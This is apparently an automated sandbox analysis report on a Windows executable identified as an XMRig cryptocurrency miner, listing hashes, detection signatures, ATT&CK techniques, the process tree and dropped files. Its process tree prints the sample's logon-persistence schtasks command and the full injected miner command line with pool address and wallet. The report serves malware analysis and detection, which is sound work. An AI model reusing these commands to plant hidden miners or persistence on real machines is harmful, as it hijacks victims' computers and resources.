xmrig | d3c55b9ecac21aadef266218f83740d8d0a03c90e7b57b5a46d59482943f0249

Analysis

max time kernel
140s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20231215-en
resource tags

arch:x64arch:x86image:win10v2004-20231215-enlocale:en-usos:windows10-2004-x64system
submitted
03/02/2024, 06:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

8b9575721ec38e1efe7ba08e6c3ad3ac.exe
Size

154KB
MD5

8b9575721ec38e1efe7ba08e6c3ad3ac
SHA1

84ad8392459548fdac3f44fa2fbe325e04a13167
SHA256

d3c55b9ecac21aadef266218f83740d8d0a03c90e7b57b5a46d59482943f0249
SHA512

45b24777f2e5db5a8124d2a22fca7c501e38b16bc27037661c6eaf1b7b44d83a2a985d3bb84759efb0c88498930f4145895d3d350da93877000e4f57a0a74bc1
SSDEEP

1536:2PmsVErY/D3fcTw2zoE4vb4CorWPT/0S1p1Wm5:2egErmTcTtt4vbnor0N2m5

Score

10^/10

xmrig miner

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 15 IoCs

miner

resource	yara_rule
behavioral2/memory/4032-38-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-39-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-41-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-45-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-44-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-46-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-48-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-47-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-49-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-51-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-52-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-53-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-57-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-58-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig
behavioral2/memory/4032-59-0x0000000140000000-0x0000000140786000-memory.dmp	xmrig

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	8b9575721ec38e1efe7ba08e6c3ad3ac.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1497073144-2389943819-3385106915-1000\Control Panel\International\Geo\Nation	services64.exe

Executes dropped EXE 2 IoCs

pid	Process
4076	services64.exe
3564	sihost64.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
38	raw.githubusercontent.com
39	raw.githubusercontent.com

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 4076 set thread context of 4032	4076	services64.exe	100

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 2 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4376	schtasks.exe
1688	schtasks.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe
4076	services64.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe
Token: SeDebugPrivilege	4076	services64.exe
Token: SeLockMemoryPrivilege	4032	explorer.exe
Token: SeLockMemoryPrivilege	4032	explorer.exe

Suspicious use of WriteProcessMemory 27 IoCs

description	pid	Process	procid_target
PID 1660 wrote to memory of 4956	1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe	92
PID 1660 wrote to memory of 4956	1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe	92
PID 4956 wrote to memory of 4376	4956	cmd.exe	93
PID 4956 wrote to memory of 4376	4956	cmd.exe	93
PID 1660 wrote to memory of 4076	1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe	94
PID 1660 wrote to memory of 4076	1660	8b9575721ec38e1efe7ba08e6c3ad3ac.exe	94
PID 4076 wrote to memory of 4768	4076	services64.exe	97
PID 4076 wrote to memory of 4768	4076	services64.exe	97
PID 4076 wrote to memory of 3564	4076	services64.exe	98
PID 4076 wrote to memory of 3564	4076	services64.exe	98
PID 4768 wrote to memory of 1688	4768	cmd.exe	99
PID 4768 wrote to memory of 1688	4768	cmd.exe	99
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100
PID 4076 wrote to memory of 4032	4076	services64.exe	100

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\8b9575721ec38e1efe7ba08e6c3ad3ac.exe
"C:\Users\Admin\AppData\Local\Temp\8b9575721ec38e1efe7ba08e6c3ad3ac.exe"
1⤵
- Checks computer location settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1660
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4956
- - C:\Windows\system32\schtasks.exe
    schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
    3⤵
    - Creates scheduled task(s)
    PID:4376
- C:\Users\Admin\AppData\Roaming\services64.exe
  "C:\Users\Admin\AppData\Roaming\services64.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of SetThreadContext
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4076
- - C:\Windows\System32\cmd.exe
    "C:\Windows\System32\cmd.exe" /c schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"' & exit
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4768
  - - C:\Windows\system32\schtasks.exe
      schtasks /create /f /sc onlogon /rl highest /tn "services64" /tr '"C:\Users\Admin\AppData\Roaming\services64.exe"'
      4⤵
      Creates scheduled task(s)
      PID:1688
- - C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe
    "C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe"
    3⤵
    - Executes dropped EXE
    PID:3564
- - C:\Windows\explorer.exe
    C:\Windows\explorer.exe --cinit-find-x -B --algo="rx/0" --asm=auto --cpu-memory-pool=1 --randomx-mode=auto --randomx-no-rdmsr --cuda-bfactor-hint=12 --cuda-bsleep-hint=100 --url=pool.hashvault.pro:80 --user=465a1gQS7JuSbTWBZePvbJhDtzJpF8g6RRhSXiqdBJ6qfLjXxd3ea1PeaiCsr9Psz18ncqhRCGb2oXYdEU5N1ggRRycYJ52 --pass=Monero Miner --cpu-max-threads-hint=70 --cinit-idle-wait=5 --cinit-idle-cpu=80
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:4032

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Libs\sihost64.exe

Filesize
7KB

MD5
bcdeaa0d704dff82cdfe804fb5e49d19

SHA1
88805759cf7c7efb8b408dc32fbc48808708f11c

SHA256
50cf564c8620c6e94026245a1eb9ff7ec2da0fe33d19c2bf1ec423f2c17bbfe4

SHA512
f90f045e42cf21a831a2f6e1478afc83e6b959d9ecba8ac9bb9a9e1f9d1bbf5b63aa4a29f5a600530b677f2a9873371194bdf5a58925a86b4cda0362e3b98d20

Download Submit
C:\Users\Admin\AppData\Roaming\services64.exe

Filesize
154KB

MD5
8b9575721ec38e1efe7ba08e6c3ad3ac

SHA1
84ad8392459548fdac3f44fa2fbe325e04a13167

SHA256
d3c55b9ecac21aadef266218f83740d8d0a03c90e7b57b5a46d59482943f0249

SHA512
45b24777f2e5db5a8124d2a22fca7c501e38b16bc27037661c6eaf1b7b44d83a2a985d3bb84759efb0c88498930f4145895d3d350da93877000e4f57a0a74bc1

Download Submit
memory/1660-3-0x00000000033F0000-0x0000000003402000-memory.dmp

Filesize
72KB

Download
memory/1660-0-0x0000000000890000-0x00000000008BA000-memory.dmp

Filesize
168KB

Download
memory/1660-4-0x000000001C4C0000-0x000000001C4D0000-memory.dmp

Filesize
64KB

Download
memory/1660-2-0x00000000012E0000-0x00000000012EE000-memory.dmp

Filesize
56KB

Download
memory/1660-17-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download
memory/1660-1-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download
memory/3564-56-0x0000000002AC0000-0x0000000002AD0000-memory.dmp

Filesize
64KB

Download
memory/3564-55-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download
memory/3564-34-0x00000000004D0000-0x00000000004D6000-memory.dmp

Filesize
24KB

Download
memory/3564-35-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download
memory/3564-36-0x0000000002AC0000-0x0000000002AD0000-memory.dmp

Filesize
64KB

Download
memory/4032-45-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-50-0x0000000000D30000-0x0000000000D50000-memory.dmp

Filesize
128KB

Download
memory/4032-41-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-43-0x00000000009D0000-0x00000000009F0000-memory.dmp

Filesize
128KB

Download
memory/4032-63-0x0000000002910000-0x0000000002930000-memory.dmp

Filesize
128KB

Download
memory/4032-38-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-44-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-46-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-48-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-47-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-49-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-39-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-51-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-52-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-53-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-62-0x00000000028F0000-0x0000000002910000-memory.dmp

Filesize
128KB

Download
memory/4032-61-0x0000000002910000-0x0000000002930000-memory.dmp

Filesize
128KB

Download
memory/4032-57-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-58-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-59-0x0000000140000000-0x0000000140786000-memory.dmp

Filesize
7.5MB

Download
memory/4032-60-0x00000000028F0000-0x0000000002910000-memory.dmp

Filesize
128KB

Download
memory/4076-18-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download
memory/4076-19-0x000000001BD40000-0x000000001BD50000-memory.dmp

Filesize
64KB

Download
memory/4076-42-0x00007FF9CC9B0000-0x00007FF9CD471000-memory.dmp

Filesize
10.8MB

Download